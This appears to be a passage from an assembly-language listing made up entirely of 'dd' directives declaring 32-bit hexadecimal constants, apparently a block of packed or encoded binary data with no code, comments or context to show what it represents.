		dd 0CFBF78h, 90AFC19h, 94FBDF66h, 3F80C0B4h, 57DB34B4h
		dd 655A00E9h, 0EFEAC470h, 0DA00747Ch, 0EE24F182h, 0C06872B9h
		dd 0C03E993Ch, 0FF0423D0h, 91DC9D6Eh, 1E2A8EC0h, 54F000ACh
		dd 23352552h, 8F00E87Eh, 41BA50A0h, 0EABCF944h,	1AAD0090h
		dd 74FDA133h, 0E67E799Ah, 0FC87B00h, 10CA3919h,	0E56850DBh
		dd 368A03A3h, 0F7D6FA65h, 609BAEF0h, 8CFFE900h,	0C6E70EADh
		dd 11B70E28h, 0BC4B819Ch, 0F1174E87h, 0FC2F1C8Fh, 0E100B451h
		dd 0E3A405A8h, 320A59h,	0C83AFB81h, 7DED83B5h, 0C4007873h
		dd 13DC8F2Eh, 747F2AEh,	5B5DE039h, 0E50580EAh, 3002695h
		dd 8CF858B2h
		dd 535F4Dh, 4F5137C4h, 7AA23855h, 0BC0368ECh, 0F8026AB2h
		dd 8794D88Dh, 0E4D00DDh, 1D9E4486h, 0BA1C1EF1h,	0C800E6F9h
		dd 0C2D329D6h, 834C0006h, 3B0F792h, 87A48D4h, 89EA0400h
		dd 0BBFDCD4Fh, 121100AAh, 60F5332Ch, 8412562Bh,	0D500B1F3h
		dd 444F50CFh, 4DC30005h, 709DC0CDh, 0D400661Eh,	0D16534ABh
		dd 60773E94h, 0D7C05053h, 86E9DBFCh, 34720638h,	1C707458h
		dd 804664EFh, 2B626DB5h, 526088CCh, 99F0A889h, 0EFCF0063h
		dd 6895A5FBh, 84A8C6B3h, 0CA1B87FCh, 7C2062E9h,	0BA0C0E78h
		dd 41DF7A6Dh, 9BB18DF4h, 0B9584177h, 1020D253h,	1A666A4h
		dd 0EB9F34A8h, 0CB8753Ah, 0B138DB9Ah, 15339801h, 0C8E889BCh
		dd 3B78F1C0h, 7F8028D7h, 0B56BD204h, 0E258AAC5h, 0B327004Dh
		dd 0E8242CA1h, 0B849002Fh, 694603Ch, 0F100BB42h, 0D7AA950Ah
		dd 0F7F205h, 0B656973Ah, 51536EDEh, 16EADF00h, 3085EC50h
		dd 0D18F031Ah, 0E0FABD65h, 0E6CF0095h, 11C5CDEh, 0C3892300h
		dd 0C9CC08E3h, 0CB700BAh, 55E416EFh, 0C4005C43h, 0ED5D7FEEh
		dd 634FECh, 2B2A1CDh, 6D5A4C56h, 31B2D00h, 6C7DAFDAh, 0A6E0E360h
		dd 0A57100E7h, 91650930h, 0DA00D29Bh, 7601C6DEh, 0FE7903BBh
		dd 26300ACh, 6AE2FBCDh,	203E5EB4h, 0C9B580D3h, 5A019E10h
		dd 0BAE113AAh, 3DCF00CFh, 462FFD65h, 956E3900h,	57B48E80h
		dd 504F0386h, 0B31E3496h, 515A100Ch, 3052819h, 0C0C9871Ah
		dd 0F4A85E3Bh, 0D13E6092h, 42EF808Ah, 6E620AA4h, 641400F1h
		dd 0A6769423h, 2C071A7Fh, 33728481h, 2B78EA41h,	1F67CCh
		dd 9CC89459h, 0EDE29F4Ah, 54AFD900h, 0AB6FD7A4h, 635D00CEh
		dd 5CB9D84Bh, 800716Bh,	6255C5A3h, 0CEED12h, 1874FE88h
		dd 57A02035h, 17001090h, 0C523B08Dh, 2A7F901h, 0D8B244EDh
		dd 6440EC93h, 0F8007FF2h, 0B93FBF9Fh, 3079DF0Ch, 0AD88AEFh
		dd 0AC24540Fh, 5087A4F2h, 3490E29Ch, 36917Bh, 179046FAh
		dd 22BBA583h, 40202108h, 0BCF20013h, 0CEC60E2Ch, 2B4CF100h
		dd 14CB2653h, 907400C4h, 58E8EB30h, 0E248EEEFh,	66CE0E8Ch
		dd 33270702h, 0E170CD97h, 18A11CD6h, 4ECC9548h,	0A9004CE0h
		dd 0FDC3E49Eh, 0C065804h, 0C70586D5h, 0ED9046E0h, 4C64E800h
		dd 0FE02657Ch, 6C710CCCh, 0BE981E81h, 0C590324h, 0F57E0883h
		dd 0EC04E5CCh, 14041CFDh, 0D5254195h, 1420C1B7h, 0EC9C4827h
		dd 9F2CD2Eh, 80733E0h, 5CC2598h, 18FB52Ch, 0C8320FB4h
		dd 215984C0h, 61044153h, 72AF2184h, 850E811h, 0B49120ECh
		dd 88154321h, 6604C7EDh, 0C946CF65h, 81FEB134h,	722B1084h
		dd 796410E0h, 4E281484h, 5D84D0FFh, 0CD5A449Fh,	9E132D21h
		dd 4215959h, 4E253B7h, 18214F70h, 6BB197E3h, 0AFC0D10h
		dd 808E0646h, 5DDA1583h, 9FA68145h, 1C5A430h, 638187FFh
		dd 810A2FE2h, 530F09D8h, 788730F3h, 1258F0A4h, 0C4A020D2h
		dd 51C81571h, 0A77EB619h, 5CE452C8h, 1788C04Dh,	325EE6DCh
		dd 0D5BF9B07h, 0F1202D12h, 6094E83Ah, 0FB0CA0CAh, 9C1DE9F7h
		dd 87C434EAh, 4C3BFF2h,	0B583A831h, 138E0ACFh, 8090C707h
		dd 432C416Ch, 0E8706ACDh, 80569E28h, 0E6BB0B06h, 158E1B8h
		dd 4F7C69EFh, 0D6B0CA5Ah, 8D96F484h, 0D82540h, 0A7633684h
		dd 952C227Ah, 4301AAC1h, 7D4A744Dh, 84E0A850h, 378200E6h
		dd 4EC5FBE5h, 0C4284627h, 0CD00AC1Dh, 22E6D313h, 697CACFh
		dd 0A611BF9h, 8512B006h, 28011073h, 0A10ED507h,	1222EC40h
		dd 47E318C8h, 0C4FAC846h, 5EDB1900h, 52927EAAh,	0FC6D00E2h
		dd 0A3CFC8ABh, 0D4002A5Ch, 8C015469h, 52B259h, 6F96BA9Bh
		dd 2B14659Fh, 0A8032777h, 0CC2FC153h, 0FA708F5Dh, 3BA9AD06h
		dd 0F01E0858h, 7100786Ch, 5B0ED156h, 0E60023A8h, 58576EB3h
		dd 0F7C9C46h, 4B6620FBh, 1BF66540h, 9775A330h, 50005374h
		dd 528F092h, 7E1548Ch, 6CA46675h, 2AB1B0C1h, 0F30EDE10h
		dd 80C2C008h, 1E27F7B5h, 4E719Ch, 367DF9B7h, 6D3A4CFh
		dd 83D5900h, 0F3BC9FBDh, 0B7A0097h, 7B4EDFF8h, 0F200F542h
		dd 3409AC5h, 2B1049h, 0EDC647B1h, 346E32D2h, 9D31503h
		dd 4A50CF7h, 0B0D63E99h, 435F00D0h, 865817h, 48E7451Ch
		dd 0F966312Fh, 0F6767B07h, 0F70524Ch, 3E124D1Bh, 0E38740D5h
		dd 2EE62575h, 0FB9D4C61h, 78B9C487h, 406B5D07h,	0E7909F7Eh
		dd 0FF036AC4h, 13843E0h, 7DB5962h, 0F004F48Ch, 0F0F1A0DCh
		dd 8000947Ah, 783467E2h, 4344D2h, 0DCCEF94Eh, 5B72FFDBh
		dd 11B23306h, 0B0296349h, 8728D082h, 0EFE49B09h, 72781A07h
		dd 0ACC02263h, 6581390h, 67F800D8h, 5B04FEE8h, 0B831004Fh
		dd 0F61144EFh, 0CC018E41h, 0D499EA4Dh, 28C07588h, 2AEF008Dh
		dd 1B7689D7h, 0B80096F9h, 0B62B7A3Eh, 1C082844h, 4047EE5Bh
		dd 16469FD0h, 0CE038354h, 6EC084DBh, 3CB087CDh,	241B7252h
		dd 3A42D976h, 55544E80h, 0E7785DCh, 5D663Eh, 24FFDD06h
		dd 3B3B04EAh, 0B0BAE07h, 0C287CFF3h, 80DCE46Dh,	4F726F15h
		dd 680E7805h, 96B1E38Ch, 0F273C8h, 0BA363AD9h, 61B66517h
		dd 3C8E163Eh, 70EF00E5h, 0AF80FD2Ah, 0FE2E00D2h, 0E707106Ah
		dd 6700BD43h, 6DBC6896h, 506CC116h, 733D065h, 258FFC9Ch
		dd 0CD8AB156h, 0C519CC3Eh, 23D1D300h, 9647581Eh, 563400A6h
		dd 444966BCh, 1824020Fh, 6E0066C0h, 5053A2B1h, 7D167D8Dh
		dd 0A909033Fh, 0C621147Dh, 0D2659D98h, 4B91B800h, 3C59BCD5h
		dd 0D760339h, 33F9BD82h, 0B5F531F0h, 56BB931Ch,	0EEFAFE40h
		dd 7A9995h, 0ABF8EDF3h,	0B3303D3Fh, 32633101h, 0C29F047Ch
		dd 3EC81EDCh, 3B9E2239h, 3420404Dh, 562965A0h, 0B8E83890h
		dd 0E243ED00h, 78A4940Ah, 89463DDCh, 6FA8450Eh,	0C4213760h
		dd 9400E981h, 0B85D2AD3h, 0DDD04h, 0BD5633E7h, 0BC24F5Eh
		dd 0AFE16900h, 159057D8h, 875B0041h, 988AB3D5h,	0DD00F5E7h
		dd 93421FD2h, 186E4Dh, 0CD85E4C1h, 0CADE8D9Ch, 0DD1A48h
		dd 16B217D3h, 0F66C61Bh, 8A457DCFh, 0FF55E6E0h,	0AE00E54Ch
		dd 0EE0C8536h, 4843C3BBh, 0A138A8E4h, 9AD1C800h, 94CA14A5h
		dd 23BBBF00h, 977B51F5h, 46111D3Ah, 0D767C01Ah,	20373BAEh
		dd 0B96D5B00h, 0EA5F322Eh, 59C8014Ah, 7B3A269Ch, 0EF76F8E7h
		dd 210F0DF0h, 28293Ch, 0D531BA58h, 204F0632h, 0C1A393C3h
		dd 15661E00h, 0CC79132Eh, 14D903E6h, 6A05AFE7h,	6BE21000h
		dd 0F2BB19EBh, 429F0FC3h, 0DA6C6251h, 0CFECC2C0h, 63003F90h
		dd 0A9201B19h, 154D2BEh, 72214292h, 0DC48A522h,	0EB07DEC5h
		dd 591902DDh, 0ED1BEEF0h, 40A94801h, 8FF09300h,	3B7181A1h
		dd 24E41300h, 0E101C6D2h, 0B4060018h, 51C943EEh, 0E9001B3Dh
		dd 1A194AC5h, 0C211EAh,	0D757E702h, 0F12A7986h,	20E19009h
		dd 8458A223h, 0FEE8A0BBh, 7D45A361h, 0E3410046h, 0B181716Ah
		dd 6600A180h, 0BA14DCBEh, 0FDE67Ah, 50C67D17h, 51B13105h
		dd 25A76907h, 9F13AC4Eh, 8B4BB992h, 3C8F930h, 0CDAF87D6h
		dd 94E801AAh, 0F003EF77h, 857F6795h, 0A9880F37h, 0C3006A08h
		dd 0B03C1B51h, 83002890h, 8292E2D7h, 2C251718h,	5312FEh
		dd 374CF7DCh, 0F23D30CBh, 0D16C67A5h, 22DE1FA0h, 5A5500A4h
		dd 6809F0Ah, 0B8733486h, 0B78FA50Fh, 0C04522ADh, 54B2404Ch
		dd 0BFC53E1Ch, 1B530902h, 0B0400FE7h, 4901804Ah, 1D18CCCDh
		dd 0A6F8D017h, 0E1A50342h, 0AC7FDD7Eh, 0A0E9E29Bh, 6DF434F7h
		dd 0BEC9AD00h
		dd 0C864CE6Ch, 45B700F9h, 114DAECBh, 0B800DC88h, 0EDDD0150h
		dd 398ECEAh, 0D615F5C0h, 2BB8ABC4h, 6D01DF72h, 0E09B0702h
		dd 40DE8335h, 0F775BCh,	0F84D29A5h, 0EA9A81BCh,	7E3F9700h
		dd 5F438A4h, 0F5FA00B7h, 0CCFCF19Fh, 0A8E09E08h, 0F73A5200h
		dd 0B546BD83h, 930E00B6h, 0D92FE365h, 0ED001E66h, 351A015Bh
		dd 0F2BD09Ch, 0ABD1BD41h, 0FE0D2900h, 7C0047BAh, 3B188B32h
		dd 21C9D5h, 3124BED2h, 0F11D98AFh, 472D2C0Fh, 36464043h
		dd 0F575B7h, 82F32820h,	0FD2B8898h, 0F1475416h,	6E65F00h
		dd 38E5054Ch, 0A189EBE7h, 0F7325Dh, 942989A4h, 0F88002Bh
		dd 0FDFB0B2Eh, 987396FCh, 0C51820EDh, 90EF4C20h, 277FE4h
		dd 6A12A568h, 1BE6D147h, 0B8FAB01Eh, 8F4D3E80h,	585297F5h
		dd 78074005h, 0D0B6D051h, 8347A1A8h, 0B3649E01h, 7E10456Ch
		dd 5FF024h, 78552F14h, 0F11A9DA2h, 0B522400h, 4D7FBAF6h
		dd 0D9C43A4Eh, 0A764FA07h, 372C408Bh, 6800D35Ah, 0CB8FCC1Ah
		dd 3E9B96h, 0C3F79DBFh,	0EFF6E8A8h, 4D21E701h, 0DDDBE63Dh
		dd 681AD540h, 841D0159h, 0B4BAC95Ah, 0C383E067h, 85AA8700h
		dd 0DF0F372Eh, 8BE50016h, 0B395BD2Ch, 30160603h, 200C2D1h
		dd 0E801FB8Ch, 8E0801E3h, 1D5DC8C9h, 9FB8C8B1h,	545550C0h
		dd 0F9843h, 135FCDCEh, 0A040D09h, 65928C00h, 1F95516Fh
		dd 30380074h, 1C624BB8h, 4D00D45Ah, 0F4F0E999h,	0FE31E812h
		dd 531D003Fh, 61383AEBh, 5B008064h, 0F1C3F39Bh,	0D0C4EEh
		dd 2F955D1Ch, 608999F6h, 5EFA9860h, 71E72D2h, 0EEDAC18Dh
		dd 501C3046h, 0B90E63A2h, 0A08C94FBh, 0E9E4B33Fh, 0C393079Dh
		dd 404ADEFDh, 6DC4BE5Dh, 9E5D60Bh, 64B4A1EAh, 40FADA6Eh
		dd 1DFFC5BCh, 0C0102BEBh, 0B84F52E5h, 0BE608D6Fh, 0EFA1C921h
		dd 0FBB000B5h, 0F2CB559Ch, 850B9EB8h, 800BDA95h, 0E294079Dh
		dd 61E8600Fh, 579B1A79h, 7B0BA480h, 96EA0082h, 8BF8A8BDh
		dd 0BF0E15C9h, 0C0C3DAAAh, 906313CCh, 0B28000D9h, 0DE5E0760h
		dd 9B027E3Ah, 5F4B7C7Dh, 0F5706338h, 88F0F0C7h,	13E19B0h
		dd 439F216Ch, 0C8978C4Eh, 0DB00E9F9h, 8258BCD2h, 0F6C257h
		dd 497EC772h, 12652FCAh, 80D5C300h, 52A4D4E6h, 308E1F77h
		dd 89098093h, 940C42C0h, 5D4C3100h, 0E518AE5h, 0F2E611h
		dd 42DBC5CAh, 607A711Ch, 0C4008FF6h, 70BACC6Ch,	0FE437FFh
		dd 4FBBA10Ah, 91411620h, 803A5C6h, 4435CE1Eh, 53FFE03Bh
		dd 962F00A9h, 670FE5E6h, 0DB00DCF2h, 0C11F7656h, 17A1AD8h
		dd 3362D798h, 75FB19DAh, 0B739E04Ch, 58577706h,	655696C7h
		dd 90EF08A6h, 0C919E98h, 0E2CF852Ch, 0C8C0271Ch, 0ED5594ECh
		dd 5FC70008h, 90162DBh,	0D73E10C1h, 0BC474A56h,	3AF16382h
		dd 24203C9Eh, 123B1D98h, 2F92407Ah, 0FC0BC74Ch,	31264430h
		dd 480D9D2Ah, 0B306EF7Bh, 687FBBC3h, 4297DF00h,	0B262D8E5h
		dd 7C3DF023h, 2A60C452h, 0F403039h, 0AA3608AFh,	0AA4A44F2h
		dd 8F56030h, 5E11005Dh,	4BF6810Eh, 75242DA0h, 5136004Eh
		dd 2C171E60h, 16E1004Dh, 0F2F85F7Fh, 654F0600h,	0B8120C94h
		dd 0B8982Dh, 2AC75946h,	7456F978h, 8042D53Eh, 701625ACh
		dd 0F07F56Eh, 13AD8E73h, 5DFBC0FDh, 0AA4710A8h,	2BF6A700h
		dd 1836053Bh, 338B1EA5h, 0E2A040B0h, 1AD258C7h,	443B2C00h
		dd 0B34E0AFAh, 7E1E86Fh, 0B8CBF48Bh, 0DDFBB0F1h, 4A7EFE18h
		dd 2C861100h, 3EF939BBh, 4005693Ah, 8E183B80h, 51C71722h
		dd 0DDA3A36Dh, 7F5AB057h, 1F261C93h, 0FC9C8316h, 291CD607h
		dd 1BBB18Eh, 50CA1301h,	92205EB4h, 395009Bh, 0A289EFE1h
		dd 442C8DBAh, 0AF005DAAh, 0FB6FD771h, 0B4CB18ECh, 7B4D4819h
		dd 0E270457Bh, 7B700C2Ch, 2FC1F400h, 3B2B03FDh,	0EB80DCF9h
		dd 0D54138ABh, 0B500AD6Eh, 0A13BE9B7h, 0AF567CBh, 3E908C54h
		dd 4EC9398h, 8062E633h,	6F0CE116h, 0F8CB91Dh, 348B6440h
		dd 5897D761h, 4E3C8750h, 883DAC15h, 0EEEAF805h,	2B9C40BDh
		dd 2A7CDB22h, 0B100FFA3h, 4350AF05h, 18F73378h,	1845FA4Bh
		dd 0E800235Ch, 3DDC9780h, 0F1AD86F4h, 503F18ECh, 0F0B03099h
		dd 0E7F00BCh, 77B607ACh, 3C000FB2h, 4C86E60Dh, 704F4Ah
		dd 0DE26E897h, 8C7BE575h, 0DC95F800h, 0B168E363h, 43CC0082h
		dd 0D3D2A6BEh, 3B00EC60h, 6FC617E4h, 93837Bh, 9EE3E11Eh
		dd 0E9B60227h, 0F05B93Ah, 770DEA82h, 0F7807000h, 7E27C006h
		dd 0BA071C2h, 2B89FAE1h, 0E7CC9E81h, 1F8E60EFh,	4B01EBEEh
		dd 12BFC23Bh, 9309486h,	21F660B6h, 0A2DCD235h, 3480D01Ch
		dd 0FA4E9C80h, 0E215E23Fh, 95A4004Fh, 7133BB9Bh, 0EE0F43C5h
		dd 9D51DE9Dh, 0EA0F2BC3h, 7F3FA03Bh, 19AD6718h,	0F081805Ch
		dd 20396F43h, 0F3F9039Eh, 0C36A4493h, 0C2F88BBEh, 0F0716091h
		dd 0CB0F0C23h, 9A908105h, 0C3D994C0h, 21E6878h,	0B83FCAD0h
		dd 0A3E0B290h, 0DB0365F7h, 0EA2CFE57h, 0DE01D0ABh, 2D7E86h
		dd 0E66383C1h, 82B5DD14h, 0B450A972h, 0F141FB8h, 7CA84FDBh
		dd 0C6B99701h, 9B5E46F3h, 0E8F52D20h, 8A1C0071h, 0A730673Dh
		dd 3F30EFFFh, 8E7F48E7h, 799100D3h, 1B22AD31h, 216B64Bh
		dd 23009AAAh, 27BB5ACAh, 3B300241h, 0D0C6D2DAh,	0F98FDD62h
		dd 7FFE3780h, 0B1624346h, 0E0679738h, 3D357h, 0F5CA6BB4h
		dd 0A193DE12h, 2AAFC400h, 0EB887ED6h, 18400354h, 20358482h
		dd 61A098CBh, 1C0E7F4Ch, 0A9A81F96h, 30240CCBh,	38F890h
		dd 913E0C73h, 1F133795h, 0F0B72C00h, 898767AEh,	3EC1EEFFh
		dd 7218E4CCh, 0C73A38D4h, 5F26BC00h, 5A53719Eh,	0A5DB0079h
		dd 59FC7635h, 1E3A5C58h, 0D17F0017h, 0F8CEB68Eh, 8C0F18D7h
		dd 23611939h, 0A51BF203h, 0D5C5A2h, 0DF0D8F58h,	43B276BEh
		dd 8077283Bh, 3C22BA8h,	1CB142FCh, 8384097Ah, 192204E6h
		dd 47909100h, 91C4305Ah, 92D900F5h, 0D708908h, 9700B401h
		dd 4FE6DDB1h, 800258h, 0B5DBB926h, 0E2453472h, 64ED9E01h
		dd 784B5D9Ch, 0E760DCh,	0D25AF8D6h, 8F091BCBh, 3665FE00h
		dd 0D45C503Bh, 0D9D0A06Bh, 8DBE01C7h, 1BA7581Ah, 0E4288004h
		dd 9E094126h, 12450095h, 0BE3093D5h, 7D3DB9FBh,	0B07BFED4h
		dd 8837920Fh, 0D5A6003h, 48B1F5h, 1F7DDD64h, 9D5F9BCEh
		dd 741EE3Eh, 2D3A0E87h,	9768A5A1h, 0FD63420h, 0EC5E6AC1h
		dd 3C00EB34h, 0E7655425h, 167B2797h, 6400D0EAh,	4B1F8BC7h
		dd 14343B92h, 2098091Eh, 18F4E0B1h, 0C70D004Fh,	0F94D33Dh
		dd 5100174Bh, 1F69B041h, 1EB6D9A1h, 333FDC8h, 892B3115h
		dd 0E5544800h, 97E84881h, 0CB32002Ah, 0D5D8D998h, 0F60394B0h
		dd 65D1D320h, 608F9793h, 0BA86AD54h, 0E3AF0317h, 0EBA3A528h
		dd 6475DDA0h, 67854C00h, 7B555A1Fh, 66E60021h, 0D7028D69h
		dd 0C8C0CC68h, 0CBF3A973h, 0DBD005Bh, 65D3353Dh, 0BC02F7DDh
		dd 0E3B0D6F2h, 8608E0BBh, 70420710h, 8084DAFCh,	8727D41Fh
		dd 55C0A600h, 41EDF657h, 0C72A0194h, 0E5786B18h, 0DE788258h
		dd 0B18CF996h, 2AE8CD80h, 0C09446F2h, 0EE3201C8h, 0A1F0C028h
		dd 197AC64Ah, 7B9DCF07h, 39B247Ch, 0B3BF5BABh, 57B688CEh
		dd 0F2FC00C6h, 0C9E58D81h, 9B00964Dh, 0E682B0D2h, 0C0E790h
		dd 0EB69F865h, 73578CF5h, 42029D72h, 53510DB6h,	742440BCh
		dd 70691471h, 1EE220A0h, 0CA59E38h, 0CA28B3A7h,	2C019F88h
		dd 0ACE97483h, 0D041B1FBh, 14F02002h, 0DFC103CCh, 3FF1A790h
		dd 0EAEB35E1h, 0C6C7DC80h
		dd 7A7553A8h, 38D2EC12h, 62C39400h, 0AFFE8B3h, 0D393E08Eh
		dd 0BE2800CCh, 143E6621h, 0E1FB021Dh, 483B528Dh, 1E170AD0h
		dd 0D9776Dh, 0EB7DA65Dh, 300072AEh, 20210F67h, 1D87E218h
		dd 4161E407h, 73396DEAh, 50E7FF09h, 566CD9DBh, 0D8709700h
		dd 0EAE00175h, 2E811F8Bh, 3C74465Dh, 0F0088DDh,	38022A08h
		dd 24F7F40h, 0C8C2EA04h, 47C1B484h, 0AF2889F0h,	0ECFE005Bh
		dd 456E79h, 5CD044B6h, 0FDE9C2DAh, 4DE50500h, 0EBFBE38Ch
		dd 0AD110087h, 0CDE4B6F3h, 0F0C06860h, 0B2F5F097h, 0CBD30070h
		dd 0F21E6F76h, 0B13C10FEh, 74650012h, 0C81CB4F0h, 9CF4BDh
		dd 26F68760h, 57789220h, 8A888407h, 0BAE1256Eh,	0C3E5A5A9h
		dd 3E747D4h, 14C91836h,	0D1D0388Ch, 0FE005819h,	736E8903h
		dd 13E532h, 0A5EE25B8h,	0A98B76A6h, 0C9015A00h,	0E2719390h
		dd 0B2450750h, 4047E304h, 0E1C7D6CCh, 0DB155500h, 9BFEEE7Bh
		dd 0F8A0005Eh, 0BEB50938h, 0CA00F3E8h, 0F6F54551h, 0D5C3D6h
		dd 0FBBBB4C8h, 4C6E803Ah, 615D8D1Bh, 58286868h,	61587804h
		dd 0A0393E00h, 0CA1C6CABh, 2E280C79h, 0E52049ECh, 6FF46000h
		dd 1C6664ADh, 8ABF04F3h, 0EA6D6B76h, 40FD9D0Fh,	2D8EE6C5h
		dd 0AE070072h, 254F74B0h, 6907CFA4h, 0A74D734Ch, 0A0E680FBh
		dd 3FEA7A21h, 0CD80EBFFh, 7EB25D32h, 0BA056EB3h, 0B56B7FCBh
		dd 78528C02h, 0B4877DA3h, 0DDE4217Eh, 802BD97Ch, 0A56317C1h
		dd 0F9AC38h, 1FD1A107h,	0FC427186h, 0BBC79300h,	0AF77CBC9h
		dd 0B0E454AEh, 0EEB00B1h, 5F719BEh, 8E0A8C1Eh, 0CC6F0971h
		dd 0B3CC5E80h, 3513B47h, 0FBF96AE9h, 5AB8335Fh,	0AF0083ADh
		dd 0A54C7AEDh, 7E3DD7h,	2446E432h, 0EE50F26Ah, 908C860Dh
		dd 61D8A0C5h, 3CEB0087h, 0DE96E77Eh, 0D80012EDh, 38A17035h
		dd 7E854FFh, 166C79F6h,	60F245FEh, 814652BCh, 0D634AD08h
		dd 216E501Dh, 701EF603h, 0B8CAF273h, 0FBA695h, 19B9B694h
		dd 0E8D2A152h, 8184FD51h, 0AA4F9F48h, 7AD0D61Bh, 29BE7C6Eh
		dd 87B87670h, 4116A23Ch, 8D7C2EEh, 0BBCB40E1h, 9A6D80h
		dd 0AB5344D0h, 58473BEDh, 8F184090h, 8270D4E7h,	3280394Ah
		dd 54E4C70Ah, 866140D8h, 7F7C1498h, 7AE94E12h, 79CF5002h
		dd 3F7C905Bh, 0AFDC02F6h, 0F276944Ch, 40F40822h, 1326277Ch
		dd 0F9E9F6h, 7EBE8F39h,	89C447B2h, 7C901F19h, 873234h
		dd 81E445B9h, 69FB8A2Ah, 8802E8A2h, 7CA078D3h, 5C57A35Dh
		dd 8CBD3621h, 0BC20B616h, 3BA54000h, 57AFBB89h,	1232B8D5h
		dd 4ED886A0h, 0BC07ADCh, 89678B74h, 0BC0080F8h,	870445DAh
		dd 7B8CF9Ch, 11284DEh, 6679529Fh, 0F4567890h, 14AFDD04h
		dd 9921717Eh, 4AC8927Bh, 9F0CB000h, 717BD0Bh, 41F1E189h
		dd 78C900E3h, 0F603CA8Dh, 6F233E0Fh, 895DF850h,	0D2A802F0h
		dd 0D162413Ah, 0AA21E0A0h, 80007C33h, 8AB2DD73h, 0EBE6A8h
		dd 9C51D86Bh, 3B9977Eh,	0B8447A48h, 564336h, 9407CFCCh
		dd 12378EDAh, 6B75A181h, 0DA5B00BCh, 0D2B18B73h, 296A01FBh
		dd 803DB4Ch, 4867E051h,	3ECC9700h, 4E3D6DDh, 0C8D8E1C0h
		dd 55B70F2Bh, 9DA71C9Bh, 0DC2416Bh, 70D4C8AFh, 0D14244A5h
		dd 86AC185Ch, 0A2E57E01h, 9E4C70BFh, 3C5C14E0h,	8207FED6h
		dd 108A5BBCh, 6F9CE653h, 3F005471h, 796072A4h, 9150B91Dh
		dd 2A42D26Ch, 0EA986C98h, 0CB4FA2Ch, 16E72383h,	0E3BEC0E2h
		dd 0FFBC00A4h, 0E5C37E8Ah, 9800DD82h, 79844553h, 0E09F06h
		dd 0EC95C45Dh, 0D4CB5631h, 57F72409h, 77EC90AFh, 7EB424Ch
		dd 0A499D71Bh, 0BB71ECFAh, 3287D7E7h, 4DAD3DD1h, 38C1B020h
		dd 78E082E9h, 477036B2h, 4B6C1B04h, 0A8900EE2h,	3D3D0A0Ch
		dd 48801320h, 0C454AAEEh, 6F00D8CDh, 6DFE7E75h,	245F77DDh
		dd 0C0C4D5BAh, 5714A3E2h, 0C25E7E3Eh, 8060DC24h, 27A3BAA1h
		dd 31000360h, 6BE9A726h, 180721h, 8A259574h, 0C77E8711h
		dd 0C14A6600h, 6DB2628h, 4F2A0CD7h, 4448CD76h, 3C8FB4B0h
		dd 3CA000A4h, 6C403700h, 4E03FD80h, 0CEDA00E3h,	4AC1DA6h
		dd 8616A93Fh, 3804CC25h, 1D30C521h, 0AC10852Eh,	30C47E26h
		dd 10E080E4h, 0F20024D3h, 6425ECA5h, 0D53D17h, 69FA0873h
		dd 0B1622CA4h, 0BB4A0201h, 0BEC54194h, 17295E4h, 0A57BDF8Dh
		dd 30D59B8Ch, 303E0BCh,	5EE9780Bh, 4AEB865h, 0BC9C145Bh
		dd 8A878C9h, 8C27018Ch,	0BD4D75AAh, 0B809F0E9h,	0B71B440Eh
		dd 0FDE7401Fh, 4CA1B296h, 211287F9h, 0DED443DCh, 0B1F0D332h
		dd 0CD1C054Eh, 0F84226F7h, 0C07090A7h, 5A21E1Ah, 0DF51E57Fh
		dd 9FB8C3D9h, 0B293E0B8h, 0AC007C92h, 0ECAA19D7h, 2E23F836h
		dd 1284BF5Ah, 41C840A4h, 0A69FA1AEh, 7D24B301h,	0EDE6215Ah
		dd 0AB21424h, 0A4BCE5C6h, 19DB8728h, 0E4D6D15Eh, 75000A1Fh
		dd 0B8B719D3h, 0CC0077CAh, 0F9822BADh, 48DA7434h, 2E15B87Bh
		dd 0D52E28AAh, 863E3CF6h, 9C28D4h, 974C71B9h, 3049F0Fh
		dd 4E59FD00h, 0E665B20Bh, 78106ADh, 78BE7925h, 0C401DE98h
		dd 0B97426F4h, 10302369h, 0B8953C7Ch, 31D0B292h, 600EEE24h
		dd 1A241FECh, 9D452409h, 90FFF4D3h, 0F643972h, 0E498347h
		dd 7FE86240h, 0C8046602h, 905ADAF1h, 0C723DC90h, 2CCC4CD0h
		dd 0BA8FA801h, 89DF63EEh, 977A0210h, 7B97045Ch,	0B89B20C9h
		dd 1ED21C86h, 80802E3Bh, 0BB60FB6Dh, 9C3E8D01h,	7AA9803Fh
		dd 0C91F92F7h, 621A16B7h, 0E4004379h, 0DDE88286h, 0BC3028FDh
		dd 5543F8E5h, 0CC4C006Eh, 60060712h, 800F8FC3h,	603A7584h
		dd 4FE2B45Bh, 52AF01FEh, 7DA25C40h, 589028D5h, 37002D5h
		dd 5262E9A4h, 5500788h,	298D6FB5h, 0FEE38820h, 42003399h
		dd 7EA926C8h, 6ED25Ah, 6D5B0280h, 50812098h, 7F64CD07h
		dd 78E036B3h, 129D5D67h, 459FEEE6h, 407C28C0h, 132107ECh
		dd 390FF8C5h, 20049E12h, 0D1C11730h, 0ECAD5EF3h, 0F8F09F0h
		dd 67300076h, 8B7C72h, 0A55C5DC0h, 3A97BDAEh, 0D77F3417h
		dd 0D5A19200h, 0BD89F58h, 3E6208B9h, 0A03A00A1h, 0E0F083FDh
		dd 0E4982C32h, 0AD31E7C0h, 38F80014h, 4491D273h, 0F600B10Ch
		dd 51F129A0h, 7E672132h, 5884B9BAh, 386B5C0h, 180F13CFh
		dd 0BEE32EAAh, 1E733CF0h, 72EEE205h, 0D8166F2Ch, 9900EC7Ah
		dd 0E86D0247h, 7B042905h, 0C37A06E3h, 92CE10CBh, 0A4406EA8h
		dd 877A4Fh, 0B520B0FFh,	1BEF9148h, 0C00FC90Eh, 0A042A0B6h
		dd 0A6087Bh, 7FFA4F04h,	6AA793A2h, 5EB62703h, 0D840FC43h
		dd 0EB73B4h, 0E613B7FFh, 1070FCFh, 4E756100h, 0DE1AE8A7h
		dd 0B1B200F2h, 157DEC32h, 5C000EF4h, 0FFDA2930h, 0E66557CCh
		dd 3B5F030Fh, 49970C47h, 303431F0h, 0B387D417h,	2CA81B00h
		dd 9B17E2h, 32F533ADh, 3F79F004h, 43606F79h, 0AF2A238h
		dd 0DB5C0F12h, 0E0009631h, 0D2F9E9FEh, 2DC40803h, 0A1C21952h
		dd 30800A9Bh, 34EBE3A7h, 0D200685Ch, 4302A9A5h,	0CE226D7h
		dd 30A86AF2h, 0BA003348h, 0DE4C208Bh, 73EFF99h,	64FAAE8Eh
		dd 328790ECh, 0DA0027FCh, 0F57D3433h, 54C0ED4h,	0B420195Eh
